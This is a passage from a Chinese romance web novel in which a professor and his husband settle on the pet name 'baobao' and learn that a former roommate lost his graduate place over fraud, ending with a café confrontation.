正如祁钊无法用法律诉讼岑康宁叫自己老公一样,岑康宁也无法通过法律诉讼祁钊。在这一点上,两人达到相对公平。 可祁钊想到网络上的那些言论。 想到校园宣传片内,铺天盖地的弹幕刷屏。 还想到,其实岑康宁的“老公”只是开玩笑,他对除了自己以外的另一个生物也使用过。 虽说那个生物算不算得上人类都两说。 但祁钊一直以来的原则是,不愿意与他人同享一个昵称。 所以下意识地,对于“老婆”这个词语也有些排斥。 他的解释是:“我需要一个特别的。” 岑康宁:“特别的什么?昵称吗?” “嗯。” 祁钊道。 岑康宁愣了一下,显然他不太明白为什么昵称要用特别的。毕竟他随口叫出的“钊哥”也完全是拿来主义,因为听说祁钊的学生都这么叫他,所以也跟着叫,觉得很喜欢。 不过在这一方面,岑康宁倒是没什么控制欲。 祁钊要用特别的,就让他用呗。 岑康宁唯独就是有些好奇:“你打算用什么?” 祁钊:“正在思考。” 岑康宁于是也控制不住地开始思考。 不得不承认的是因为祁钊的解释,方才那点儿郁闷跟失落全部消失不见,取而代之的则是完完全全的兴奋与好奇。 祁钊会叫自己什么呢? 不喜欢小宁宁宁的话,会不会用康字? 小康? 康康? 听起来好像也不错,从来没人这么叫过岑康宁,对他来说,这是焕然一新的体验。 又或者,还是使用宁字。 但叫“阿宁”。 有些人会不喜欢叠字的昵称,往往喜欢在名字前加一个“阿”字表示亲昵。 阿宁听起来有点儿熟悉,似乎是某个小说里的人物。 但若是祁钊喜欢,岑康宁也不介意重名。 岑康宁想,自己真是再大度不过的人类,无论祁钊叫他什么,除了一板一眼的“小岑”外,他都会喜欢。 唯一的问题是—— 能不能快一点? 岑康宁越想越激动,已经快要迫不及待了。 “钊哥,还没好吗?” 岑康宁忍不住催促。 祁钊说:“进度百分之五十。” 岑康宁:“?” 还带进度条的,那能快进加速吗? 漫长的等待过程让岑康宁感到郁闷,躺在大床上的他开始无意识轻晃小腿缓解情绪。 而在这一摇一晃中,蓦地,祁钊的思考进度条拉到了百分之五十。 通常来说,百分之五十对于祁教授来说是一个分界线,因为五十是一百的一半,超过五十便意味着,祁钊已经充分有了解题思路。 剩余的百分之五十,仅需要将这条思路贯通到底罢了。 “滴滴,小祁同学,进度条多少啦?” “百分之六十。” “哦,这么慢啊,可否使用加速服务?” 祁钊回答说:“可以。” 岑康宁说:“那加速到百分之百!” 祁钊道:“好,宝宝。” 岑康宁:“……你叫我什么?” “宝宝。” 祁钊声音很轻地道。 “……” 岑康宁没想过最后的称呼竟然是这两个字。 听上去似乎再普通不过的两个字,但他却像被过了电,浑身上下从心脏开始不受控的颤栗。 — 长久的寂静与沉默中,祁钊感受到岑康宁忽然变得急促的呼吸,仿佛那天接绝育后的小猫回学校时,小猫出了猫包以后,从猫包中钻出来后短暂的迟疑。 猫可能是觉得自己看错了。 它怎么又回来了? 难道这七天在医院中所发生的一切都只是幻觉? 而岑康宁又是为什么陷入沉默? 祁钊感到好奇的同时,开始愈发认为自己使用“宝宝”这个词语作为岑康宁的昵称,实在是再合适不过。 其实这个词语并非祁钊“原创”。 在这一方面,祁钊并没有这样充分的创造力。 但好消息是祁钊的记忆力不错,而且他很愿意学习。 第一次听到别人叫“宝宝”正是因为办公室里那只流浪小猫。 一个月前祁钊送这只流浪小橘白去宠物医院绝育,彻底解决了课题组实验室与他自己办公室偶尔出现的猫咪乱尿问题。 但直到将猫接回来,祁钊才意识到原来其他学生们都以为猫是走丢了。 有几个女生男生甚至为小猫的丢失大哭了一场。 直到绝育后的猫再度在办公室里探头探脑出现。 女孩儿当场哭出声来的同时,一把上前抱住猫,哭喊着:“宝宝你去哪里了!知不知道这几天快急死姨姨了!怎么还变胖了,你到底去了哪里?” 猫不会说话,只一味地在人类怀里挣扎。 正如岑康宁不会游泳,在温泉池里胡乱地扑腾。 “呜呜,宝宝,吓死我了,还好你没事。” 女生破涕为笑。 随后她抱着猫,开始在这一层的办公室里巡回展出。 “快看,小橘白还在——就是蛋蛋没了。” 一帮子学生教授一拥而上,手上还拿着各种猫条零食。 猫原本是很暴躁的,忽然被人这么紧的抱住,还来了这么一大帮子人吵吵闹闹,猫非常的不高兴。 可因为有猫条的缘故。 猫收起了不高兴,放大了瞳孔,很主动地蹭了人类的手。 “喵~” 尾音里带着几分撒娇。 很像岑康宁见到炸鸡时会发出的声音。 “钊哥,想吃麦麦脆汁鸡~” 玩心重的时候也很像。 猫虽然生活在生科院十六楼里,但经常一整天见不到猫影。有人在生科院楼下的小花园里见到它正跟一只狸花猫玩闹。 两只猫一会儿上树一会儿追逐。 对最简单的游戏乐此不疲。 岑康宁也会这样,打游戏上头的时候,一直到晚上十一点隔壁床都还是空空如也。第二天祁钊起床的时候看到他张着嘴巴,睡姿格外奔放的时候,就会意识到此人绝对是很晚才下机。 太多太多的相似之处让祁钊偶尔觉得。 岑康宁就是一只猫,只是偶然的机会下,化作了人形。 所以用“宝宝”来称呼他。 因为祁钊曾问过那位叫猫宝宝的女博士:“它不是你的孩子,为什么你要叫它宝宝呢?” 女博士看上去很惊讶,似乎是没想过祁钊竟然会问这样的问题。 但她还是回答了祁钊。 “不是孩子也可以叫宝宝的。” “宝宝就是很宝贵的意思,我觉得小橘白很宝贵,是上天赠予人类的宝藏小猫咪。” 祁钊明白了。 于是当岑康宁要求拥有一个昵称,而祁钊又非常不愿意与他人共享同一个昵称的时候,很快,祁钊想到了这两个字。 “宝宝。” 祁钊又叫了一遍。 他问岑康宁:“你觉得怎么样,还喜欢吗?” 反正他自己是觉得非常合适的。 岑康宁一开始说:“还行,勉勉强强接受。” 很快又说:“喜欢。” 过了一会儿认真说:“特别喜欢。” 又过了一会儿,祁钊已经快要睡着的时候,忽然,岑康宁从隔壁坐了起来。 祁钊:“?” 岑康宁:“……我有点忘记你打算叫我什么了,要不你再多叫几遍?” 黑夜掩盖了他声线里的颤抖与难为情。 前所未有的放大了他的勇气。 祁钊真的很困了,但还是如岑康宁所愿,在这个很漫长的夜里,叫了他许多声。 “宝宝。” “宝宝。” “宝宝……” 一声接着一声的宝宝中,岑康宁总算再度陷入睡眠。 但这一觉很浅。 所以他做了一个梦。 一个从小学开始他就一直做的梦,延续至今。 梦的开端总是看不到尽头的瓢泼大雨。 岑康宁曾经最讨厌下雨,因为一到下雨,就意味着他要淋着雨走回去。 家里没有太多的雨伞。 一把伞属于娟姨,另一把伞则属于老大黄晓铃。 娟姨是不可能来接岑康宁的,她要在家照顾刚出生没多久的黄光远;晓铃姐就更不可能来接,那把伞太小了,光是她一个人打都不太够,更何况还有一个她的亲妹妹黄晓媛。 所以岑康宁只能淋着雨走回去。 还不能像其他学生一样,把书包顶在头上,因为书包会湿。 当然梦中的那一幕往往并不是岑康宁抱着书包淋雨跑回家,而是要更早,追溯到岑康宁人生中的第一场雨,大约是在一年级。 早上出门的时候还是阳光正好。 下雨放学前暴雨降临。 狂风怒号,乌云密布,豆大的雨水哗啦啦砸在地面,发出可怖的声音。 教室里的小朋友们快吓坏了,哭成一团。 所有小朋友都害怕这场暴雨,担心自己该怎么回去。 但很快老师站在讲台上叫某个小朋友的名字。 “熊熊,你妈妈来啦。” “小雨,你爸爸来接你。” ……哭闹声渐渐小了下来,越来越多的小朋友被接回家,原本拥挤的教室一下子变得空旷不少。 班主任老师是一个年轻小姑娘。 那天穿着很鲜艳的红裙子,扎着利落的马尾辫。 她尽职尽责地站在讲台上,挨个的将小孩儿送到家长手里,紧缩的眉头也逐渐变得舒展喜悦。 可直到天色昏暗下来。 教室里还有一个小朋友,始终没人来接。 那个小朋友坐在班级最角落的座位里,身上穿着很单薄的衣服,安安静静地写着作业,被冻的嘴唇和手指都有些发青。 年轻的老师终于发现了他,很惊讶:“哎,小宁,你的家长不来接你吗?” 梦里的小孩儿有时会很懂事的摇摇头:“不了老师,叔叔阿姨很忙,我等会儿自己回去。” 有时会很紧张焦虑,反复地道歉:“我也不知道,老师,对不起。” 有时也会期待。 不远处会不会有人打着伞为了他而走近? 从小到大,岑康宁做过无数次同样的梦。 有过无数次的回答。 也有过数不清的相同结局。 但这天晚上是唯一的一次,雨才刚刚下没多久,下课后老师推开教室门后便露出惊喜不已的表情。 “宝宝,有人来接你。” 岑康宁抬起脑袋,茫然:“啊?” “不是爸爸,也不是妈妈。” “是你老公。” 老师高兴地说。 岑康宁站起身来,懵懵懂懂地被老师拉到门口。 小小的班级门口站着一个高大的人影,身上穿着白色的挺阔西服,手里却举着一把巨大无比的黑伞,表情很冷,但长相非常英俊。 他叫他:“宝宝。” 随后将岑康宁抱了起来,很轻松地走进雨幕里。 黑色的雨伞隔绝了大雨。 白色西装带来温暖。 不再有寒冷,不再有淋雨,从此以后的放学路上,永远会有人接。 岑康宁很紧地抱住男人,把头埋在他的肩膀上,闻到了很淡的海盐柠檬气息的同时,生平第一次的,感到幸福如此接近。 作者有话说: 宝宝宝宝宝宝[三花猫头][三花猫头][猫爪][猫爪]魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 次日一早是个大晴天。 艳阳高照,万里无云。 岑康宁起床的时候已经很晚了,当他懒洋洋地睁开眼皮时,急性子的左梓轩已经至少给他打了三个电话,发了五条微信。 “起了?@小宁宁。” “快起床啊小宁宁,别忘了我们的免费早餐券~!” “呜呜你变了小宁宁,你再也不是当初那个为了免费早餐饿一晚上肚子,然后早上六点半就定闹铃起床跟我去餐厅,赶最早一波免费早餐的人了!” “好好好,我知道,你们现在都不在乎免费早餐了是吧?行,那我一个人去,就让五星级酒店的早餐今天撑死我吧——” “等下,你老公怎么也在?他吃的好素哦【照片】【照片】。” “……” 岑康宁醒来以后看着满屏的消息无语半晌,尤其是昨晚才跟祁钊探索过偷拍的问题,结果一大早起床,就发现左梓轩偷拍了祁钊。 用天都塌了四个字也不足以来形容此刻的岑康宁。 可当他下意识地点开图片后—— 等下,这个角度钊哥好像有点儿帅? 正欲打字谴责老五偷拍行为的手登时一顿,下一秒,删除已有文字,重新输入。 咸鱼(学游泳中):【还有别的角度吗?】 很快牛马(左梓轩)发来三个句号: 【……大哥你要不要看看现在几点?】 咸鱼:【对不起,刚醒。】 牛马:【我看你也是飘了,五星级酒店的早餐都敢不来了!】 咸鱼:【错了哥,真错了,昨晚泡完温泉实在是太累,一睁眼就这个点儿了。】 牛马:【哼,看在今早你老公没跟我抢酸辣粉的份上,勉强原谅你。】 咸鱼:【哈哈,他不吃酸辣粉的。】 牛马:【对,我也发现了,那么多好吃的,他竟然就吃了点儿菜叶子跟水果……(擦汗)(擦汗)】 咸鱼:【钊哥留学生,理解一下。】 牛马:【理解,当然理解了,不过就是有点儿心疼你。】 咸鱼:【哈?】 【吃那么素,能行吗?(坏笑)】 【…………】 牛马:【算了忽然想到应该还挺行,昨晚看到你牙印儿了,你是不知道当时三哥那个表情。】 咸鱼:【………………】 两个省略号已经不足以表达岑康宁此刻的心情,他现在就是后悔,非常后悔,怎么就手这么贱,跟左梓轩这个巫妖王聊起来了呢?! “让你手贱。” 岑康宁扔掉手机,使劲儿拍了下自己的手。 正懊恼着,这时,房间内的浴室门却忽然被推开。 “醒了?” 祁钊擦着头发,半裸上身,从浴室走了出来。 “刚醒。”岑康宁眼神懵然看着若无其事出现的祁钊,一开始没什么太大的反应,就好像最普通不过的周六早晨。 但很快他看着祁钊锁骨上已经很浅的牙印,想起某些回忆。 “昨天晚上……”/“饿不饿,宝宝?” 岑康宁:卧槽!是真的,不是梦! 岑康宁睁大了瞳孔,很后知后觉地感受到了这两个字的杀伤力。 昨晚的震撼感虽然强烈,可一切毕竟在深夜里发生。 那时候他的精神虽然亢奋,身体却已经非常疲惫。 也因此除了颤栗感,几乎感受不到其他情绪。 黑暗隐藏了两人的身形,一片漆黑中,岑康宁只能够听到祁钊低沉的嗓音,却根本没办法看清楚他说话时的表情。 然而此刻阳光正好。 正午强烈的光线从窗外投射进来,岑康宁得以清清楚楚地看见祁钊表情里的每一个细枝末节。 唇角是微微勾起的,眼神里全是认真,没有一丝一毫的戏谑。鼻梁依旧英挺,刚洗过澡的缘故皮肤白皙干净,发丝上沾着几滴水珠将滴未滴。 以及,原来他叫“宝宝”的时候,喉结会轻轻地滑动。 岑康宁:“……” 对岑康宁而言,往往身体要比言语诚实。 他试图用扯被子的方式遮掩,然而刚起床时他很畅快地将被子一脚踢开很远,终于是在此刻糟了报应。 于是祁钊表情蓦地一变。 岑康宁顿觉尴尬,连忙用手捂住自己:“别看,早上很自然的生理反应而已。” 祁钊:“已经中午十一点。” 岑康宁嘴硬:“我不管,我刚醒,就是早上。” 祁钊:“哦,好的。” 说完祁钊往岑康宁的方向走了两步。 感受到熟悉的压迫感正在逐步逼近,岑康宁心头一跳,听见自己说:“等等,今天是周六。” 不是周五晚上,所以…… 他脸烫了烫。 祁钊却面无表情,很冷静的样子:“没什么,只是拿东西。” 祁钊确实是拿东西,因为他刚刚洗澡,把眼镜跟手表都放在了床头柜上。可分明床头柜在祁钊睡的那一边,他绕一下床就可以直接过去,但他非要伸出手,整个人从岑康宁的身上压过去。 柠檬海盐的味道再度袭来。 岑康宁却第一次感觉到这股味道有多令人窒息。 他快疯了。 这人到底知不知道他在勾引自己? 不知过了多久,也许过了一辈子那么漫长,祁钊还没拿完他的东西,也不知道他到底有多少东西。 饱受煎熬的岑康宁终于忍不住叫住祁钊: “钊哥。” “嗯。” 祁钊嗓音很低地应了声,声线有点儿哑。 岑康宁眼皮轻颤,说:“你好像也有点儿自然反应。” 祁钊解释:“哦,很正常,因为是早上。” 岑康宁并没有反驳他话里的漏洞,也没有说其实我刚刚就知道你早就醒来了,对你来说才不是早上。 因为此刻的他根本不想反驳。 只想顺应这个谎言。 “那,既然我们都有反应,互相帮助一下是可以的吧?” 岑康宁很谨慎地开口,又补充说明:“只是简单的帮助,不会违反协议。” 然后他等待了一小会儿。 等到祁钊的回应。 祁教授的回应是手直接伸了进去。 岑康宁:“……” 他现在就是一整个更后悔了,怎么就脑抽没忍住主动申请?待会儿还要吃饭见舍友,万一太过火被那俩人发现了怎么办? 不过倒是没后悔太久就是了。 因为岑康宁很快被帮助的软成一团糍粑,没力气再后悔。 — 这天的午饭后来是祁钊请客。 因为酒店温泉套房是曹帅掏的钱,虽然是公司福利,但要是没有曹帅,四人肯定也享受不到这种福利。 又因为左梓轩还在上学。 午饭的责任自然就落在已经上班多年的祁钊身上。 对此祁钊倒是没什么异议,付钱的很爽快,就是酒店附近没什么好餐厅,让祁钊有些许意见。 饭桌上还是一如既往地热闹。 有左梓轩这个活宝在,走到哪里都不可能安静的下来。 左梓轩一会儿嚷嚷着早知道中午有人请客早上早餐就不吃那么多了,一会儿又嚷嚷着岑康宁跟曹帅这俩人实在是太过分了,竟然约好了一样不吃早餐一直睡到下午一点。 曹帅唇角噙着笑意,揶揄左梓轩:“你昨晚又没游泳。” 言外之意是他游泳了,所以才累,没起。 可左梓轩也有理由:“那别人祁教授为啥游泳了也起那么早?” 曹帅:“……” 左梓轩一杀结束,意犹未尽地又看向一旁偷笑的岑康宁:“还有你,还笑呢,帅哥好歹有个游泳的理由,你连游泳都没,纯赖床啊。” 岑康宁:“有没有一种可能,我在学游泳?” 左梓轩睁大了眼睛:“真的假的?” “真的啊。” 岑康宁很轻地笑着,看向祁钊:“钊哥昨晚教我来着,可以替我作证。” 左梓轩于是也看向祁钊,发出求证的眼神。 “的确。” 祁钊抬抬眼镜:“练习泳姿动作高达十遍。” 岑康宁:“……” “哈哈哈哈哈!小宁宁你也有今天。”餐厅包厢里登时响彻左梓轩毫不留情面的嘲笑。 岑康宁郁闷坏了。 怎么有人胳膊朝外拐啊? 而且他分明是中午十一点醒的,之所以后来又在床上赖了两小时的原因,还不是因为某人?搞得他到现在手指还酸痛不已。 岑康宁一边活动着手指,一边愤愤不平地想。 “不过说到学游泳,我倒是想起一个人来。” 曹帅忽然插嘴道。 菜逐渐上齐了,四人餐桌的最中央摆放着一只约莫三分之一餐桌那么大的波士顿龙虾,曹帅说起这番话的时候,岑康宁正在思考该怎么吃这块儿龙虾肉。 就吃清蒸的好,还是蘸点儿酱油? 正犹豫不决之际。 左梓轩已经伸出筷子,夹走了岑康宁看上的那块儿龙虾肉。 “巧了不是,我也想到了一个人,就是不知道咱俩想到的是不是同一个。” 左梓轩边吃边说。 曹帅笑出声来:“我感觉大概率是同一个人吧。” “你们俩打什么哑谜呢。” 岑康宁终于忍不住加入俩人的话题,筷子一把扎进龙虾肉的同时:“说吧,何明博最近又作啥妖了。” 岑康宁自然清楚,在316宿舍,提起学游泳这件事,只会指向何明博一个人。 这是人尽皆知的事实。 起因是大二那年。 土院体育课开放了游泳选修。 正值闷夏,在灰头土脸的铅球场,群魔乱舞的太极拳之中,游泳课那一汪一眼望不到尽头的清凉碧绿是那么的令人向往。 也因此,那个夏天土木系的男生们,大多选修了游泳课。 当然这些人中并不包括旱鸭子岑康宁。 岑康宁那年选了羽毛球,一种他唯一接触过的运动。 可何明博却不知为何固执认为,没有选修游泳课的岑康宁只是不屑选,因此他要求岑康宁教选了游泳但不识水性的自己学游泳。 “岑康宁,你别骗我,你肯定会的。” 何明博站在岑康宁的床位前,堵住了岑康宁出门的去路。 正打算出门打工的岑康宁很无奈:“四哥,我真不会游,要不你找三哥吧,他游泳多厉害啊。” 正好曹帅这时也在宿舍,便替岑康宁解围道:“行啊,你要想学,咱现在就去游泳馆。” 曹帅刚拿了奖杯。 正是对游泳上头的时候。 哪怕他不太喜欢何明博,但舍友一场,却也愿意无偿教学。 然而何明博并不领情。 “曹帅的泳姿太专业了,我学不会。” 他说。 说这话的时候何明博一直盯着岑康宁,像是已经完全认定了岑康宁,只有岑康宁教他他才乐意的模样。 岑康宁快被逼疯了,他要怎么给何明博解释他真的不会。 而且更重要的是,他还赶时间去家教呢。 “对不住,这事儿你找别人吧。” 岑康宁这么说着,随后趁着何明博不注意,赶忙从宿舍溜走。 那天结束。 岑康宁认为自己的拒绝已经非常明显不委婉。 其他舍友同样也这么认为。 可到了第二天,何明博竟然故技重施,再度堵住了岑康宁。 他的表情甚至带着几分得意:“岑康宁,我知道你今天没安排家教,今天总不能敷衍我了吧?” 岑康宁:“……” 他当时真的很想问一句,亲,您的脑子真的没问题吗? 说了不会不会。 听不懂人话是吧。 此时岑康宁已经明白,寻常的拒绝大约可能没办法让何明博死心。于是为了永绝后患,当着所有人的面,他把大家都叫到游泳馆,花了三十块钱。 “噗——” 五分钟后岑康宁面色苍白地吐出一口泳池水,被舍长搀扶着,浑身湿漉漉的站在岸边,看向一脸震惊的何明博:“现在信了吧?” 然而岑康宁到底是低估了何明博的倔强。 岑康宁都快以死明志了,何明博却也就消停了一天。第三天的时候,他照常在老地方堵住岑康宁。 “宁宁,我请了游泳教练,我们一起学吧,我教你,不收你钱。” “……” 岑康宁已经忘记了这件事后来是如何解决的,大概是他自那天开始疯狂打工,找了个包食宿的便利店收银员工作以后,坚持了一个多月不回宿舍,何明博终于放弃。 再加上后来天气转凉。 所有人对游泳的热情都大大递减,这事儿才慢慢过去。 但岑康宁也是今天才知道,原来不止自己,316的其他人也从未忘记过这件事。 “怎么可能忘,实在是太奇葩了。” 左梓轩说。 曹帅则道:“其实每次一看见游泳池,我都能想起来。” 岑康宁无奈:“别说他了,吃饭呢。” 言外之意提此人实在倒胃口。 可左梓轩:“不不,我接下来说的事情你要是听了,肯定会胃口大开。” 岑康宁筷子一顿,好奇:“啥事儿?” “何明博不是挤走了你的保研名额么。”左梓轩大大咧咧地开了口,浑然不觉,在这个餐桌上,事实上仍有一个人对此事一无所知。 一直安静聆听三人对话的祁钊缓缓放下了手中的刀叉。 面色逐渐变得冷峻。 左梓轩吃了一口龙虾肉后,接着道:“遭报应了!还没开学就被人举报论文作假,闹得很大,他取消保研资格了。” “哈?” 岑康宁大为震惊。 曹帅的表情却很淡定,显然他已经早早从左梓轩处得知这条八卦:“所以我才说我想起他了。那会儿就想这人到底什么时候才能被社会上一课,没想到时隔两年,终于——” 他深吸了一口气,表情里是不加掩饰的喜悦。 岑康宁还没从震惊中缓和过来,整张脸上都写着不敢相信:“他爸不是院长吗?” “是院长啊。” 左梓轩轻笑一声:“但院长也不能只手遮天吧?他论文造假那么明显,被人直接发在了报纸上,那么多双眼睛盯着,他爸敢硬保?不要命啦。” “我是真没想到……” 岑康宁表情一片茫然。 其实,他应该是恨着何明博的吧,在保研事件后。 何明博从前的奇葩事迹虽然也对他有影响,但岑康宁都可以选择放下。唯独只有保研被鸽的这件事,可以说改变了岑康宁的命运也不为过。 如果不是何明博。 现在的岑康宁应该与左梓轩一样,是个正在为开学课题发愁的研究生。 他不会有现在这样多的月工资,也不会有这样悠闲的假期。 但他会自食其力,会在三年后,获得一份研究生文凭。 他会在三年里不断地充实自己,写论文,做实验,也许三年后读博士深造,多年以后,也被称作岑教授,或者一声岑老师。 然而那样的未来已经离岑康宁太远。 早在他二十二岁生日的那天,化为遥不可及的泡影。 岑康宁从不觉得现在的生活有什么不好,只是人生的另一种体验,这个过程有祁钊在,有惊无险。 只是很偶尔的时候他也会在午后的烈日中坐在图书馆里看着人来人往的学生发呆,想: 平行世界里的另一个岑康宁。 在做什么呢? 现在想来已经好像是很久很久前才发生过的事情,明明其实才过了不到五个月。 “还有你更没想到的呢!” 左梓轩却再度抛下一枚炸/弹,打断了岑康宁的怅然若失,眉飞色舞道:“这事儿出了以后,老虎肯定是想保人的,毕竟是他的学生,出了事儿他脸上不好看,结果你猜怎么着?” “嗯?” “老虎自己的项目也被扒出来套用经费,还有压榨学生,贿赂编辑!” “噗——” 岑康宁终于控制不住表情笑出声来。 也不怪他失去表情管理。 实在是仇人都相继出事的感觉实在太好。 果然这世界还是有报应的么? 但在饭桌上316众人一片欢声笑语中,莫名地,岑康宁觉得这事儿怎么越想越不对劲。 为什么他会感觉这种快准狠的举报手段有些熟悉? 热闹非凡的包厢里他看向祁钊,正对上一双幽深漆黑的眼。 隔着眼镜,那双眼仿佛一汪深不可见底的潭水,足以将任何人溺毙。 一小时后。 回程的车里。 祁钊发动车子,主动开了口:“是他先举报我的。” 作者有话说: 钊哥:委屈[爆哭] 第62章 说不惊讶肯定是假的。 岑康宁坐在副驾驶的座位上正在系安全带,听到这句话后手一抖,安全带差点儿系到驾驶座上去。 “你说什么?” “我说,是何明博先举报我的。” 祁钊冷静道。 说这句话时他的神情一如既往,好像在说一件最普通不过的事。可不知怎的,岑康宁却硬是从这短短的一句话里,听出几分委屈。 岑康宁承认,自己心疼了。 他有点儿控制不住自己情绪,火气嗖的一下就上来了:“凭什么啊!他怎么有脸举报你的?!我艹!” “宝宝。” 祁钊捏了下岑康宁的脸,将岑康宁的愤怒及时遏制,随后替他系好安全带的同时,不疾不徐发动车子。 “没关系,事情我已经处理过了。” 祁钊情绪稳定地道。 只是他没告诉岑康宁,当初处理这件事的时候自己本以为只是最普通不过的一件小事,却不曾想过,原来何明博与岑康宁之间还有过争夺保研名额这回事。 难怪,祁钊曾经看过岑康宁的本科绩点,不能说绝顶优秀,但也算相当优越。 按照常理来说这样的绩点是绝对可以保研的。 岑康宁却选择了放弃。 祁钊本以为岑康宁只是在继续求学与工作的选项中选择了直接工作,却从没想过,岑康宁只是被迫放弃。 生平第一次。 左心房处传来后知后觉的钝痛。 也因此祁钊认为自己应该对岑康宁道歉:“对不起,我处理的时候不知道,如果我知道他……” “别这么说,你没有半点儿对不起我。” 岑康宁迫不及待打断了祁钊的道歉,情绪依然激动:“这事儿本来你就是无妄之灾,因我而起,说对不起的是我才对。” 说完岑康宁感到极度的后悔,他攥紧了拳,眼眶也微微泛红:“你应该早点告诉我的,不对,这事儿不能怪你,都怪我自己没有早点发现。” 他早该意识到以何明博的偏执程度不会轻易放弃。 更该意识到何明博的攻击力并不会因为自己离开Q大而减缓半点。 临别前,他甚至故意激怒了何明博。 岑康宁浑身颤抖,此刻快后悔疯了。 如果何明博只是举报他,他完全可以接受,但何明博竟然直接对钊哥出手…… “他举报你什么了?” 岑康宁嗓音颤抖着问。 “没什么。” 祁钊对这件事的反应倒是很平,轻描淡写地说:“无非是攻击我的老一套,学阀,发展裙带关系,毋庸置疑他的信息有些落后了,现在还用这一套来攻击我,不要说一线期刊,连院报都登不了刊。” 看得出来他是真的不太在意。 说起这些攻击的时候眼神里甚至没多少情绪。 然而岑康宁却完全不能。 他想到祁钊的出身,祁钊的这样的出身又身处科研一线风口浪尖,无疑会被人攻击,这是肯定的,其实就连岑康宁都在网上看到过不少。 有人说他有今天全靠爷爷。 还有人说他天才少年徒有虚名。 可网上那些人大多只是在网络上匿名嘴一嘴。 看得出来更多是妒忌。 何明博却是直接举报。 是因为自己这份图书馆的工作吗?岑康宁蓦地想到。 “可是我的工作明明是符合学校文件规定的!” 岑康宁很愤怒地道。 “是的,相关文件可见p大官网2025年1月21号《关于p大引进优秀青年学者配偶工作安置的最新条例》。” 祁钊道:“我符合文件中规定的每一个条件。” 甚至还远远超出了。 祁钊想。 岑康宁对这件事倒是不太了解,但这个文件他却是知道的。 “对啊,我也记得这个文件,当时我很担心我的工作到底合不合规定,所以专门去官网查过。” 他还记得自己当时忐忑不安的心情。 毕竟从小到大,岑康宁都是那种特别老实的普通人,从没有享受过任何特权。 虽然跟祁钊相亲后他觉得图书馆这个工作实在是非常诱人,但不可避免地,岑康宁还是有些担心。 自己这样算是走后门吗? 要是算的话,以后万一被曝光了怎么办? 实在是安心不下来,于是岑康宁就去找了相关文件。结果不看不知道,一看才意识到,原来作为祁钊的法定配偶,他拥有合规合法的工作安置权利。 这就不说了。 后来岑康宁还更了解到。 光是去年一年,因为祁钊的到来,p大生科院的企业捐赠就多了两个多亿。其中这两个多亿里还不包括成本超过千万的仪器设备,全是指名道姓捐赠给了祁钊的课题组实验室。 了解到这一点后岑康宁就完全不会觉得自己这份工作受之有愧。 祁钊给p大带来这么多,他的到来甚至让p大的生科专业平台都比从前高了一级。 且不论科研上的贡献,只从经济效益上来讲,这样的人享受配偶安置待遇难道不应该吗? 这件事哪怕放在全世界来看都十分合理。 但何明博却因此而攻击祁钊。 岑康宁深呼了一口气,手指深陷在掌心里,强行让自己冷静下来:“是我的问题。” 祁钊说:“不是你的问题。” 岑康宁苦笑着:“这事儿钊哥你就别跟我争了,要不是我,何明博也不可能会接触到你。” 他想,自己的确是软弱的太久了。 以至于让何明博以为他是什么很好欺负的人。 虽然岑康宁的确挺好欺负的,大多数的时候,惹了他就跟惹了一团棉花一样没什么区别。 可这件事涉及到祁钊。 那是完全不同的层面。 — 当天下午岑康宁就把何明博从微信黑名单里拉了出来,约他晚上在咖啡馆见面。 三个多月没见。 何明博比上回最后一次见面憔悴不少。 人瘦了,脸上也少了许多自信。 以前何明博走到哪里都是昂首挺胸的,仿佛可以将全世界都踩在脚下。事实上过往的二十多年也的确,因为985大学院长的父亲,何明博也确实走到哪里都可以将世界踩在脚下。 然而变故出现在两个月前。 两个月前的某个深夜,何明博在p大官网刷到一则人员公示消息。 毕业后的那一个月里,何明博经常有事没事就刷新p大的官网,就好像他刷不到某个人,那个人在城市的另一个角落里就没有过得很好一样。 直到那天夜里。 岑康宁的姓名赫然出现在眼前,让他全部的幻想幻灭。 何明博死死地盯着文件里岑康宁三个字,正如此时此刻,坐在咖啡馆里,他死死盯着岑康宁那张熟悉又陌生的脸。 明明两人上回见面只在三个月前。 为什么他会觉得陌生呢? 岑康宁冷冷地看了他一眼,没什么表情地说:“你来了。” “你是专门来约我看笑话的吗?” 何明博刻薄地开了口,随后将桌上的柠檬水端起来,一饮而尽:“恭喜你,看到了。” 岑康宁依旧没什么表情。 他的情绪已经在中午的时候完全释放而出,愤怒也好,后悔也罢,此刻留给何明博本人的只有冷漠而已。 “笑话不至于,我不觉得这有什么好笑。” 他说。 何明博感到惊讶:“不好笑吗?又争又抢了半天,最后竹篮打水一场空,连已有的东西都丢掉。我要是你,我可能要笑疯了。” 岑康宁冷眼看他:“我懒得笑你。” “……” 沉默了许久,何明博扯了扯嘴角:“这样啊,原来连笑都懒得笑。那你找我干什么?总不能是叙旧吧?” “何明博。” 岑康宁忽然叫了何明博的大名。 “大学四年,我好像是第一次这样叫你。” 何明博不说话,只一味地盯着岑康宁的脸。 但岑康宁其实没说错。 作为宿舍公认的好脾气,岑康宁叫任何人都从来不叫大名。 “三哥”“老大”“舍长”“轩轩”。 对于316的舍友,岑康宁总有数不清的昵称。 当然,对于何明博也是如此。 一开始的时候,他叫他“四哥”,后来在何明博明确表示自己不喜欢当哥以后,叫他后两个字“明博。” 再后来,两人关系有点僵硬。 岑康宁不再叫“明博”了,也不叫“四哥”,大多数的时候他会什么也不叫,偶尔必须要叫的时候,他会跟其他舍友一样,叫老四。 何明博默许了这个称呼。 因为他实在不想让岑康宁叫自己大名。 岑康宁也的确是从来没叫过,直到今天。 “何明博。” 他又叫了一声,颇为苦恼地说:“我知道也许是以前我的态度让你对我产生了一些误解,让你觉得我好像很好欺负,欺负我也不会有什么下场。” “为什么忽然说这个?” 何明博愣了一下,微微皱起了眉心。 岑康宁顿了顿,很冷静地接着道:“我的确是这种人。” “你逼我教你学游泳,我不敢直接打你一拳,因为觉得没必要把关系闹僵,也不想因为这件事得罪你。” “你抢走我的保研导师,我更没有怎么样你。因为我知道我斗不过你,跟你斗的下场只有我身心俱疲,而你,何明博,哪怕你丢掉了保研资格,也大可以靠着家里去国外逍遥自在,不会受到任何影响。” “甚至你在校园墙里造谣我,污蔑我,我也当作这件事没发生过。因为这件事处理起来很麻烦,我不确定你是否真的触及到了法律的底线,更掏不起律师费,在你身上耗不起时间。” “我承认,跟你相比,我就是个最普通不过的普通人,甚至连普通人都不如,我就是这个世界最底层的一只老鼠。不会有人站在我这边,没有任何亲人可以帮我,哪怕是一口剩饭我都得自己去偷才行。” “可你知道吗?” 岑康宁看着何明博的眼睛,缓慢却笃定地开口: 